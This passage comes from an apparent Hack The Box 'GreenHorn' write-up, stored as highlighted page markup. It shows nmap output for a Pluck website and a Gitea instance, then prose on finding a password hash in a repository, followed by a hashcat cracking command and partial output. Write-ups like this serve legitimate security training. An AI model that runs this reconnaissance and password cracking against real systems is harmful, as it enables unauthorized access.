\u002Fevox\u002Fabout\n",[28,1111,1113,1115,1118,1120,1123,1126],{"class":30,"line":1112},54,[28,1114,925],{"class":924},[28,1116,1117],{"class":34}," http-robots.txt:",[28,1119,286],{"class":201},[28,1121,1122],{"class":54}," disallowed",[28,1124,1125],{"class":54}," entries",[28,1127,931],{"class":169},[28,1129,1131,1133,1136],{"class":30,"line":1130},55,[28,1132,925],{"class":924},[28,1134,1135],{"class":34},"_\u002Fdata\u002F",[28,1137,1138],{"class":54}," \u002Fdocs\u002F\n",[28,1140,1142,1144,1147,1150],{"class":30,"line":1141},56,[28,1143,925],{"class":924},[28,1145,1146],{"class":34},"_http-server-header:",[28,1148,1149],{"class":54}," nginx\u002F1.18.0",[28,1151,1007],{"class":169},[28,1153,1155,1157,1160,1163],{"class":30,"line":1154},57,[28,1156,925],{"class":924},[28,1158,1159],{"class":34},"_http-generator:",[28,1161,1162],{"class":54}," pluck",[28,1164,1165],{"class":201}," 4.7.18\n",[28,1167,1169,1171,1174],{"class":30,"line":1168},58,[28,1170,925],{"class":924},[28,1172,1173],{"class":34}," http-cookie-flags:",[28,1175,931],{"class":169},[28,1177,1179,1181,1184],{"class":30,"line":1178},59,[28,1180,925],{"class":924},[28,1182,1183],{"class":34}," \u002F:",[28,1185,931],{"class":169},[28,1187,1189,1191,1194],{"class":30,"line":1188},60,[28,1190,925],{"class":924},[28,1192,1193],{"class":34}," PHPSESSID:",[28,1195,931],{"class":169},[28,1197,1199,1201,1203,1206,1209,1212],{"class":30,"line":1198},61,[28,1200,925],{"class":924},[28,1202,1025],{"class":34},[28,1204,1205],{"class":54}," httponly",[28,1207,1208],{"class":54}," flag",[28,1210,1211],{"class":54}," not",[28,1213,1214],{"class":54}," set\n",[28,1216,1218,1221,1223,1226,1228,1230],{"class":30,"line":1217},62,[28,1219,1220],{"class":34},"3000\u002Ftcp",[28,1222,472],{"class":54},[28,1224,1225],{"class":54}," ppp?",[28,1227,994],{"class":54},[28,1229,794],{"class":54},[28,1231,1232],{"class":201}," 63\n",[28,1234,1236,1238,1241],{"class":30,"line":1235},63,[28,1237,925],{"class":924},[28,1239,1240],{"class":34}," fingerprint-strings:",[28,1242,931],{"class":169},[28,1244,1246,1248,1251,1254,1257],{"class":30,"line":1245},64,[28,1247,925],{"class":924},[28,1249,1250],{"class":34}," GenericLines,",[28,1252,1253],{"class":54}," Help,",[28,1255,1256],{"class":54}," RTSPRequest:",[28,1258,931],{"class":169},[28,1260,1262,1264,1267,1270,1273],{"class":30,"line":1261},65,[28,1263,925],{"class":924},[28,1265,1266],{"class":34}," HTTP\u002F1.1",[28,1268,1269],{"class":201}," 400",[28,1271,1272],{"class":54}," Bad",[28,1274,1275],{"class":54}," Request\n",[28,1277,1279,1281,1284,1287,1289,1293,1296],{"class":30,"line":1278},66,[28,1280,925],{"class":924},[28,1282,1283],{"class":34}," Content-Type:",[28,1285,1286],{"class":54}," text\u002Fplain",[28,1288,910],{"class":909},[28,1290,1292],{"class":1291},"sMWUE"," charset",[28,1294,1295],{"class":924},"=",[28,1297,1298],{"class":54},"utf-8\n",[28,1300,1302,1304,1307],{"class":30,"line":1301},67,[28,1303,925],{"class":924},[28,1305,1306],{"class":34}," Connection:",[28,1308,1309],{"class":54}," close\n",[28,1311,1313,1315],{"class":30,"line":1312},68,[28,1314,925],{"class":924},[28,1316,1317],{"class":34}," Request\n",[28,1319,1321,1323,1326],{"class":30,"line":1320},69,[28,1322,925],{"class":924},[28,1324,1325],{"class":34}," GetRequest:",[28,1327,931],{"class":169},[28,1329,1331,1333,1336,1339],{"class":30,"line":1330},70,[28,1332,925],{"class":924},[28,1334,1335],{"class":34}," HTTP\u002F1.0",[28,1337,1338],{"class":201}," 200",[28,1340,1341],{"class":54}," OK\n",[28,1343,1345,1347,1350,1353,1356,1359],{"class":30,"line":1344},71,[28,1346,925],{"class":924},[28,1348,1349],{"class":34}," Cache-Control:",[28,1351,1352],{"class":54}," max-age=0,",[28,1354,1355],{"class":54}," private,",[28,1357,1358],{"class":54}," must-revalidate,",[28,1360,1361],{"class":54}," no-transform\n",[28,1363,1365,1367,1369,1372,1374,1376,1378],{"class":30,"line":1364},72,[28,1366,925],{"class":924},[28,1368,1283],{"class":34},[28,1370,1371],{"class":54}," text\u002Fhtml",[28,1373,910],{"class":909},[28,1375,1292],{"class":1291},[28,1377,1295],{"class":924},[28,1379,1298],{"class":54},[28,1381,1383,1385,1388,1391,1393,1396,1398,1401,1403,1406,1408,1411,1413],{"class":30,"line":1382},73,[28,1384,925],{"class":924},[28,1386,1387],{"class":34}," Set-Cookie:",[28,1389,1390],{"class":54}," i_like_gitea=79e8d2a904fe09bf",[28,1392,910],{"class":909},[28,1394,1395],{"class":1291}," Path",[28,1397,1295],{"class":924},[28,1399,1400],{"class":54},"\u002F",[28,1402,910],{"class":909},[28,1404,1405],{"class":34}," HttpOnly",[28,1407,910],{"class":909},[28,1409,1410],{"class":1291}," SameSite",[28,1412,1295],{"class":924},[28,1414,1415],{"class":54},"Lax\n",[28,1417,1419,1421,1423,1426,1428,1430,1432,1434,1436,1439,1441,1444,1446,1448,1450,1452,1454],{"class":30,"line":1418},74,[28,1420,925],{"class":924},[28,1422,1387],{"class":34},[28,1424,1425],{"class":54}," _csrf=mgFczcWRP7JJYhETZDNImDkFvPo6MTcyMTU1NzEzMTEyODY4NDM3MA",[28,1427,910],{"class":909},[28,1429,1395],{"class":1291},[28,1431,1295],{"class":924},[28,1433,1400],{"class":54},[28,1435,910],{"class":909},[28,1437,1438],{"class":1291}," Max-Age",[28,1440,1295],{"class":924},[28,1442,1443],{"class":54},"86400",[28,1445,910],{"class":909},[28,1447,1405],{"class":34},[28,1449,910],{"class":909},[28,1451,1410],{"class":1291},[28,1453,1295],{"class":924},[28,1455,1415],{"class":54},[28,1457,1459,1461,1464],{"class":30,"line":1458},75,[28,1460,925],{"class":924},[28,1462,1463],{"class":34}," X-Frame-Options:",[28,1465,1466],{"class":54}," SAMEORIGIN\n",[28,1468,1470,1472,1475,1478,1481,1484,1487,1490],{"class":30,"line":1469},76,[28,1471,925],{"class":924},[28,1473,1474],{"class":34}," Date:",[28,1476,1477],{"class":54}," Sun,",[28,1479,1480],{"class":201}," 21",[28,1482,1483],{"class":54}," Jul",[28,1485,1486],{"class":201}," 2024",[28,1488,1489],{"class":54}," 10:18:51",[28,1491,1492],{"class":54}," GMT\n",[28,1494,1496,1498,1501,1504,1507,1510],{"class":30,"line":1495},77,[28,1497,925],{"class":924},[28,1499,1500],{"class":924}," \u003C!",[28,1502,1503],{"class":34},"DOCTYPE",[28,1505,1506],{"class":54}," htm",[28,1508,1509],{"class":169},"l",[28,1511,1512],{"class":924},">\n",[28,1514,1516,1518,1521,1524,1527,1530,1533,1535,1538,1540,1543,1545],{"class":30,"line":1515},78,[28,1517,925],{"class":924},[28,1519,1520],{"class":924}," \u003C",[28,1522,1523],{"class":34},"html",[28,1525,1526],{"class":54}," lang=",[28,1528,1529],{"class":909},"\"",[28,1531,1532],{"class":54},"en-US",[28,1534,1529],{"class":909},[28,1536,1537],{"class":54}," class=",[28,1539,1529],{"class":909},[28,1541,1542],{"class":54},"theme-auto",[28,1544,1529],{"class":909},[28,1546,1512],{"class":924},[28,1548,1550,1552,1554,1557],{"class":30,"line":1549},79,[28,1551,925],{"class":924},[28,1553,1520],{"class":924},[28,1555,1556],{"class":34},"head",[28,1558,1512],{"class":169},[28,1560,1562,1564,1566,1569,1572,1574,1577,1579,1582,1584,1587,1589],{"class":30,"line":1561},80,[28,1563,925],{"class":924},[28,1565,1520],{"class":924},[28,1567,1568],{"class":34},"meta",[28,1570,1571],{"class":54}," name=",[28,1573,1529],{"class":909},[28,1575,1576],{"class":54},"viewport",[28,1578,1529],{"class":909},[28,1580,1581],{"class":54}," content=",[28,1583,1529],{"class":909},[28,1585,1586],{"class":54},"width=device-width, initial-scale=1",[28,1588,1529],{"class":909},[28,1590,1512],{"class":924},[28,1592,1594,1596,1598,1601,1604,1607],{"class":30,"line":1593},81,[28,1595,925],{"class":924},[28,1597,1520],{"class":924},[28,1599,1600],{"class":34},"title",[28,1602,1603],{"class":169},">",[28,1605,1606],{"class":54},"GreenHorn",[28,1608,1609],{"class":169},"\u003C\u002Ftitle>\n",[28,1611,1613,1615,1617,1620,1623,1625,1628,1630,1633,1635],{"class":30,"line":1612},82,[28,1614,925],{"class":924},[28,1616,1520],{"class":924},[28,1618,1619],{"class":34},"link",[28,1621,1622],{"class":54}," rel=",[28,1624,1529],{"class":909},[28,1626,1627],{"class":54},"manifest",[28,1629,1529],{"class":909},[28,1631,1632],{"class":54}," href=",[28,1634,1529],{"class":909},[28,1636,1637],{"class":54},"data:application\u002Fjson;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX\n",[28,1639,1641],{"class":30,"line":1640},83,[28,1642,1643],{"class":54},"| HTTPOptions: \n",[28,1645,1647],{"class":30,"line":1646},84,[28,1648,1649],{"class":54},"| HTTP\u002F1.0 405 Method Not Allowed\n",[28,1651,1653],{"class":30,"line":1652},85,[28,1654,1655],{"class":54},"| Allow: HEAD\n",[28,1657,1659],{"class":30,"line":1658},86,[28,1660,1655],{"class":54},[28,1662,1664],{"class":30,"line":1663},87,[28,1665,1666],{"class":54},"| Allow: GET\n",[28,1668,1670],{"class":30,"line":1669},88,[28,1671,1672],{"class":54},"| Cache-Control: max-age=0, private, must-revalidate, no-transform\n",[28,1674,1676],{"class":30,"line":1675},89,[28,1677,1678],{"class":54},"| Set-Cookie: i_like_gitea=6f896023f13e7e79; Path=\u002F; HttpOnly; SameSite=Lax\n",[28,1680,1682],{"class":30,"line":1681},90,[28,1683,1684],{"class":54},"| Set-Cookie: _csrf=nDbU5RZ8V3ELjgTaGWr3BqPbbmo6MTcyMTU1NzEzNjE5OTAyNjg0MA; Path=\u002F; Max-Age=86400; HttpOnly; SameSite=Lax\n",[28,1686,1688],{"class":30,"line":1687},91,[28,1689,1690],{"class":54},"| X-Frame-Options: SAMEORIGIN\n",[28,1692,1694],{"class":30,"line":1693},92,[28,1695,1696],{"class":54},"| Date: Sun, 21 Jul 2024 10:18:56 GMT\n",[28,1698,1700],{"class":30,"line":1699},93,[28,1701,1702],{"class":54},"|_ Content-Length: 0\n",[28,1704,1706],{"class":30,"line":1705},94,[28,1707,1708],{"class":54},"1 service unrecognized despite returning data. If you know the service\u002Fversion, please submit the following fingerprint at https:\u002F\u002Fnmap.org\u002Fcgi-bin\u002Fsubmit.cgi?new-service :\n",[28,1710,1712],{"class":30,"line":1711},95,[28,1713,1714],{"class":54},"SF-Port3000-TCP:V=7.94SVN%I=7%D=7\u002F21%Time=669CE08B%P=x86_64-pc-linux-gnu%r\n",[28,1716,1718,1721,1723,1726,1729,1732,1735,1738,1740,1743,1745,1748,1751,1754],{"class":30,"line":1717},96,[28,1719,1720],{"class":54},"SF:(GenericLines,67,",[28,1722,1529],{"class":909},[28,1724,1725],{"class":54},"HTTP\u002F1",[28,1727,1728],{"class":201},"\\.",[28,1730,1731],{"class":54},"1",[28,1733,1734],{"class":201},"\\x",[28,1736,1737],{"class":54},"20400",[28,1739,1734],{"class":201},[28,1741,1742],{"class":54},"20Bad",[28,1744,1734],{"class":201},[28,1746,1747],{"class":54},"20Request",[28,1749,1750],{"class":201},"\\r\\n",[28,1752,1753],{"class":54},"Content-Type:",[28,1755,1756],{"class":201},"\\x\n",[28,1758,1760,1763,1765,1768,1771,1774,1777,1779,1782,1784,1787,1789,1791,1793,1796,1798,1800,1802,1805,1807],{"class":30,"line":1759},97,[28,1761,1762],{"class":34},"SF:20text\u002Fplain",[28,1764,910],{"class":909},[28,1766,1767],{"class":34},"\\x20charset",[28,1769,1770],{"class":54},"=utf-8",[28,1772,1773],{"class":169},"\\",[28,1775,1776],{"class":54},"r",[28,1778,1773],{"class":169},[28,1780,1781],{"class":54},"nConnection:",[28,1783,1773],{"class":169},[28,1785,1786],{"class":54},"x20close",[28,1788,1773],{"class":169},[28,1790,1776],{"class":54},[28,1792,1773],{"class":169},[28,1794,1795],{"class":54},"n",[28,1797,1773],{"class":169},[28,1799,1776],{"class":54},[28,1801,1773],{"class":169},[28,1803,1804],{"class":54},"n400",[28,1806,1773],{"class":169},[28,1808,1809],{"class":54},"x20Ba\n",[28,1811,1813,1816,1819],{"class":30,"line":1812},98,[28,1814,1815],{"class":34},"SF:d\\x20Request",[28,1817,1818],{"class":34},"\")%r(GetRequest,1000,\"",[28,1820,1821],{"class":34},"HTTP\u002F1\\.0\\x20200\\x20OK\\r\\nCache-Contr\n",[28,1823,1825,1828,1831,1833,1836,1838,1841,1843,1846,1848,1850,1852],{"class":30,"line":1824},99,[28,1826,1827],{"class":34},"SF:ol:\\x20max-age",[28,1829,1830],{"class":54},"=0,",[28,1832,1773],{"class":169},[28,1834,1835],{"class":54},"x20private,",[28,1837,1773],{"class":169},[28,1839,1840],{"class":54},"x20must-revalidate,",[28,1842,1773],{"class":169},[28,1844,1845],{"class":54},"x20no-transform",[28,1847,1773],{"class":169},[28,1849,1776],{"class":54},[28,1851,1773],{"class":169},[28,1853,1854],{"class":54},"nCo\n",[28,1856,1858,1861,1863,1865,1867,1869,1871,1873,1876,1878],{"class":30,"line":1857},100,[28,1859,1860],{"class":34},"SF:ntent-Type:\\x20text\u002Fhtml",[28,1862,910],{"class":909},[28,1864,1767],{"class":34},[28,1866,1770],{"class":54},[28,1868,1773],{"class":169},[28,1870,1776],{"class":54},[28,1872,1773],{"class":169},[28,1874,1875],{"class":54},"nSet-Cookie:",[28,1877,1773],{"class":169},[28,1879,1880],{"class":54},"x20i_like_git\n",[28,1882,1884,1887,1890,1892,1895,1898,1900,1903,1905,1908,1911,1913,1915,1917],{"class":30,"line":1883},101,[28,1885,1886],{"class":34},"SF:ea",[28,1888,1889],{"class":54},"=79e8d2a904fe09bf",[28,1891,910],{"class":909},[28,1893,1894],{"class":34},"\\x20Path",[28,1896,1897],{"class":54},"=\u002F",[28,1899,910],{"class":909},[28,1901,1902],{"class":34},"\\x20HttpOnly",[28,1904,910],{"class":909},[28,1906,1907],{"class":34},"\\x20SameSite",[28,1909,1910],{"class":54},"=Lax",[28,1912,1773],{"class":169},[28,1914,1776],{"class":54},[28,1916,1773],{"class":169},[28,1918,1919],{"class":54},"nSet-Coo\n",[28,1921,1923,1926,1929,1931],{"class":30,"line":1922},102,[28,1924,1925],{"class":34},"SF:kie:\\x20_csrf",[28,1927,1928],{"class":54},"=mgFczcWRP7JJYhETZDNImDkFvPo6MTcyMTU1NzEzMTEyODY4NDM3MA",[28,1930,910],{"class":909},[28,1932,1756],{"class":34},[28,1934,1936,1939,1941,1943,1946,1949,1951,1953,1955,1957,1959,1961,1963,1965],{"class":30,"line":1935},103,[28,1937,1938],{"class":34},"SF:20Path",[28,1940,1897],{"class":54},[28,1942,910],{"class":909},[28,1944,1945],{"class":34},"\\x20Max-Age",[28,1947,1948],{"class":54},"=86400",[28,1950,910],{"class":909},[28,1952,1902],{"class":34},[28,1954,910],{"class":909},[28,1956,1907],{"class":34},[28,1958,1910],{"class":54},[28,1960,1773],{"class":169},[28,1962,1776],{"class":54},[28,1964,1773],{"class":169},[28,1966,1967],{"class":54},"nX-Frame-Opt\n",[28,1969,1971],{"class":30,"line":1970},104,[28,1972,1973],{"class":34},"SF:ions:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2021\\x20Jul\\x202024\\x2010:18:51\\x\n",[28,1975,1977,1980,1983,1985,1988,1991,1994,1996,1999,2002,2004,2007,2010,2012],{"class":30,"line":1976},105,[28,1978,1979],{"class":34},"SF:20GMT\\r\\n\\r\\n",[28,1981,1982],{"class":169},"\u003C!DOCTYPE",[28,1984,1734],{"class":201},[28,1986,1987],{"class":169},"20html>",[28,1989,1990],{"class":201},"\\n",[28,1992,1993],{"class":169},"\u003Chtml",[28,1995,1734],{"class":201},[28,1997,1998],{"class":169},"20lang=",[28,2000,2001],{"class":201},"\\\"",[28,2003,1532],{"class":169},[28,2005,2006],{"class":201},"\\\"\\x",[28,2008,2009],{"class":169},"20class=",[28,2011,2001],{"class":201},[28,2013,2014],{"class":169},"the\n",[28,2016,2018,2021,2024,2026,2028,2030,2033,2035],{"class":30,"line":2017},106,[28,2019,2020],{"class":34},"SF:me-auto\\",[28,2022,2023],{"class":34},"\">\\n\u003Chead>\\n\\t\u003Cmeta\\x20name=",[28,2025,2001],{"class":201},[28,2027,1576],{"class":34},[28,2029,2001],{"class":201},[28,2031,2032],{"class":34},"\\x20content=",[28,2034,2001],{"class":201},[28,2036,2037],{"class":34},"width=dev\n",[28,2039,2041,2044,2046],{"class":30,"line":2040},107,[28,2042,2043],{"class":34},"SF:ice-width,\\x20initial-scale=1",[28,2045,2001],{"class":201},[28,2047,2048],{"class":34},">\\n\\t\u003Ctitle>GreenHorn\u003C\u002Ftitle>\\n\\t\u003Clink\\x\n",[28,2050,2052,2055,2057,2059,2061,2064,2066],{"class":30,"line":2051},108,[28,2053,2054],{"class":34},"SF:20rel=",[28,2056,2001],{"class":201},[28,2058,1627],{"class":34},[28,2060,2001],{"class":201},[28,2062,2063],{"class":34},"\\x20href=",[28,2065,2001],{"class":201},[28,2067,2068],{"class":34},"data:application\u002Fjson;base64,eyJuYW1lIjoiR\n",[28,2070,2072],{"class":30,"line":2071},109,[28,2073,2074],{"class":34},"SF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6\n",[28,2076,2078],{"class":30,"line":2077},110,[28,2079,2080],{"class":34},"SF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh\n",[28,2082,2084],{"class":30,"line":2083},111,[28,2085,2086],{"class":34},"SF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC\n",[28,2088,2090],{"class":30,"line":2089},112,[28,2091,2092],{"class":34},"SF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY\n",[28,2094,2096,2099,2102,2105],{"class":30,"line":2095},113,[28,2097,2098],{"class":34},"SF:X\"",[28,2100,2101],{"class":169},")%r(",[28,2103,2104],{"class":34},"Help,67,",[28,2106,2107],{"class":34},"\"HTTP\u002F1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20t\n",[28,2109,2111],{"class":30,"line":2110},114,[28,2112,2113],{"class":34},"SF:ext\u002Fplain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x\n",[28,2115,2117,2120,2122,2125],{"class":30,"line":2116},115,[28,2118,2119],{"class":34},"SF:20Request\"",[28,2121,2101],{"class":169},[28,2123,2124],{"class":34},"HTTPOptions,1A4,",[28,2126,2127],{"class":34},"\"HTTP\u002F1\\.0\\x20405\\x20Method\\x20Not\\x20All\n",[28,2129,2131],{"class":30,"line":2130},116,[28,2132,2133],{"class":34},"SF:owed\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20GET\\r\\nCache-Cont\n",[28,2135,2137],{"class":30,"line":2136},117,[28,2138,2139],{"class":34},"SF:rol:\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nS\n",[28,2141,2143],{"class":30,"line":2142},118,[28,2144,2145],{"class":34},"SF:et-Cookie:\\x20i_like_gitea=6f896023f13e7e79;\\x20Path=\u002F;\\x20HttpOnly;\\x2\n",[28,2147,2149],{"class":30,"line":2148},119,[28,2150,2151],{"class":34},"SF:0SameSite=Lax\\r\\nSet-Cookie:\\x20_csrf=nDbU5RZ8V3ELjgTaGWr3BqPbbmo6MTcyM\n",[28,2153,2155],{"class":30,"line":2154},120,[28,2156,2157],{"class":34},"SF:TU1NzEzNjE5OTAyNjg0MA;\\x20Path=\u002F;\\x20Max-Age=86400;\\x20HttpOnly;\\x20Sam\n",[28,2159,2161],{"class":30,"line":2160},121,[28,2162,2163],{"class":34},"SF:eSite=Lax\\r\\nX-Frame-Options:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2021\\x20J\n",[28,2165,2167,2170,2172],{"class":30,"line":2166},122,[28,2168,2169],{"class":34},"SF:ul\\x202024\\x2010:18:56\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\"",[28,2171,2101],{"class":169},[28,2173,2174],{"class":34},"RTSPR\n",[28,2176,2178,2181],{"class":30,"line":2177},123,[28,2179,2180],{"class":34},"SF:equest,67,",[28,2182,2183],{"class":34},"\"HTTP\u002F1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text\u002F\n",[28,2185,2187],{"class":30,"line":2186},124,[28,2188,2189],{"class":34},"SF:plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Re\n",[28,2191,2193,2196,2199],{"class":30,"line":2192},125,[28,2194,2195],{"class":34},"SF:quest\"",[28,2197,2198],{"class":169},")",[28,2200,2201],{"class":909},";\n",[28,2203,2205,2208,2211,2214,2217,2219,2222],{"class":30,"line":2204},126,[28,2206,2207],{"class":34},"Service",[28,2209,2210],{"class":54}," Info:",[28,2212,2213],{"class":54}," OS:",[28,2215,2216],{"class":54}," Linux",[28,2218,910],{"class":909},[28,2220,2221],{"class":34}," CPE:",[28,2223,2224],{"class":54}," cpe:\u002Fo:linux:linux_kernel\n",[28,2226,2228],{"class":30,"line":2227},127,[28,2229,71],{"emptyLinePlaceholder":70},[28,2231,2233,2235,2237],{"class":30,"line":2232},128,[28,2234,195],{"class":34},[28,2236,218],{"class":54},[28,2238,2239],{"class":54}," Post-scanning.\n",[28,2241,2243,2245,2247,2249,2251,2253,2255],{"class":30,"line":2242},129,[28,2244,195],{"class":34},[28,2246,228],{"class":54},[28,2248,231],{"class":54},[28,2250,234],{"class":201},[28,2252,237],{"class":169},[28,2254,240],{"class":201},[28,2256,243],{"class":169},[28,2258,2260,2262,2264,2266],{"class":30,"line":2259},130,[28,2261,248],{"class":34},[28,2263,251],{"class":54},[28,2265,254],{"class":54},[28,2267,653],{"class":54},[28,2269,2271,2273,2275,2277,2279,2281],{"class":30,"line":2270},131,[28,2272,262],{"class":34},[28,2274,251],{"class":54},[28,2276,254],{"class":54},[28,2278,591],{"class":54},[28,2280,272],{"class":54},[28,2282,275],{"class":54},[28,2284,2286,2288,2290,2292,2294,2296,2298],{"class":30,"line":2285},132,[28,2287,195],{"class":34},[28,2289,228],{"class":54},[28,2291,231],{"class":54},[28,2293,286],{"class":201},[28,2295,237],{"class":169},[28,2297,240],{"class":201},[28,2299,243],{"class":169},[28,2301,2303,2305,2307,2309],{"class":30,"line":2302},133,[28,2304,248],{"class":34},[28,2306,251],{"class":54},[28,2308,254],{"class":54},[28,2310,653],{"class":54},[28,2312,2314,2316,2318,2320,2322,2324],{"class":30,"line":2313},134,[28,2315,262],{"class":34},[28,2317,251],{"class":54},[28,2319,254],{"class":54},[28,2321,591],{"class":54},[28,2323,272],{"class":54},[28,2325,275],{"class":54},[28,2327,2329,2331,2333,2335,2337,2339,2341],{"class":30,"line":2328},135,[28,2330,195],{"class":34},[28,2332,228],{"class":54},[28,2334,231],{"class":54},[28,2336,327],{"class":201},[28,2338,237],{"class":169},[28,2340,240],{"class":201},[28,2342,243],{"class":169},[28,2344,2346,2348,2350,2352],{"class":30,"line":2345},136,[28,2347,248],{"class":34},[28,2349,251],{"class":54},[28,2351,254],{"class":54},[28,2353,653],{"class":54},[28,2355,2357,2359,2361,2363,2365,2367],{"class":30,"line":2356},137,[28,2358,262],{"class":34},[28,2360,251],{"class":54},[28,2362,254],{"class":54},[28,2364,591],{"class":54},[28,2366,272],{"class":54},[28,2368,275],{"class":54},[28,2370,2372,2375,2378,2381,2384],{"class":30,"line":2371},138,[28,2373,2374],{"class":34},"Read",[28,2376,2377],{"class":54}," data",[28,2379,2380],{"class":54}," files",[28,2382,2383],{"class":54}," from:",[28,2385,2386],{"class":54}," \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[28,2388,2390,2392,2395,2398,2401,2403,2406,2409,2412,2414,2417],{"class":30,"line":2389},139,[28,2391,2207],{"class":34},[28,2393,2394],{"class":54}," detection",[28,2396,2397],{"class":54}," performed.",[28,2399,2400],{"class":54}," Please",[28,2402,767],{"class":54},[28,2404,2405],{"class":54}," any",[28,2407,2408],{"class":54}," incorrect",[28,2410,2411],{"class":54}," results",[28,2413,254],{"class":54},[28,2415,2416],{"class":54}," https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[28,2418,2419],{"class":54}," .\n",[28,2421,2423,2425,2428,2430,2433,2436,2438,2441,2444],{"class":30,"line":2422},140,[28,2424,762],{"class":34},[28,2426,2427],{"class":54}," done:",[28,2429,234],{"class":201},[28,2431,2432],{"class":54}," IP",[28,2434,2435],{"class":54}," address",[28,2437,419],{"class":169},[28,2439,2440],{"class":54},"host",[28,2442,2443],{"class":54}," up",[28,2445,2446],{"class":169},") scanned in 88.61 seconds\n",[28,2448,2450,2453,2456,2459,2462,2465,2467,2470,2473],{"class":30,"line":2449},141,[28,2451,2452],{"class":34}," Raw",[28,2454,2455],{"class":54}," packets",[28,2457,2458],{"class":54}," sent:",[28,2460,2461],{"class":201}," 1004",[28,2463,2464],{"class":169}," (44.152KB) ",[28,2466,925],{"class":924},[28,2468,2469],{"class":34}," Rcvd:",[28,2471,2472],{"class":201}," 1001",[28,2474,2475],{"class":169}," (40.040KB)\n",[11,2477,2478],{},"The scan shows me that ports 22, 80 and 3000 are open.",[11,2480,2481],{},"On port 80 I find a website called Greenhorn, which is provided via Pluck with version 4.7.18.",[11,2483,2484],{},[2485,2486],"img",{"alt":23,"src":2487},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724210753034.webp",[11,2489,2490],{},"I found a login page under “\u002Flogin.php”, but I don't have a password yet.",[11,2492,2493],{},[2485,2494],{"alt":23,"src":2495},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724210941513.webp",[11,2497,2498],{},"I found a Gitea instance on port 3000 where registration is allowed. So I simply registered here.",[11,2500,2501],{},[2485,2502],{"alt":23,"src":2503},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724211043014.webp",[11,2505,2506],{},"There I found the repository “GreenAdmin” and took a closer look at the files there.",[11,2508,2509],{},[2485,2510],{"alt":23,"src":2511},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724211149011.webp",[11,2513,2514],{},"I discovered a hash here.",[11,2516,2517],{},[2485,2518],{"alt":23,"src":2519},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724211224473.webp",[11,2521,2522],{},"I cracked the hash with the help of Hashcat.",[15,2524,2525],{},[18,2526,2528],{"className":20,"code":2527,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nhashcat (v6.2.6) starting\n\nOpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]\n==================================================================================================================================================\n* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped\n\nOpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]\n==================================================================\n* Device #2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n\nMinimum password length supported by kernel: 0\nMaximum password length supported by kernel: 256\n\nHashes: 1 digests; 1 unique digests, 1 unique salts\nBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5\u002F13 rotates\nRules: 1\n\nOptimizers applied:\n* Zero-Byte\n* Early-Skip\n* Not-Salted\n* Not-Iterated\n* Single-Hash\n* Single-Salt\n* Raw-Hash\n* Uses-64-Bit\n\nATTENTION! Pure (unoptimized) backend kernels selected.\nPure kernels can crack longer passwords, but drastically reduce performance.\nIf you want to switch to optimized kernels, append -O to your commandline.\nSee the above message to find out about the exact limits.\n\nWatchdog: Hardware monitoring interface not found on your system.\nWatchdog: Temperature abort trigger disabled.\n\nHost memory required for this attack: 1 MB\n\nDictionary cache building \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt: 33553434 bytes (23.9Dictionary cache built:\n* Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n* Passwords.: 14344392\n* Bytes.....: 139921507\n* Keyspace..: 14344385\n* Runtime...: 1 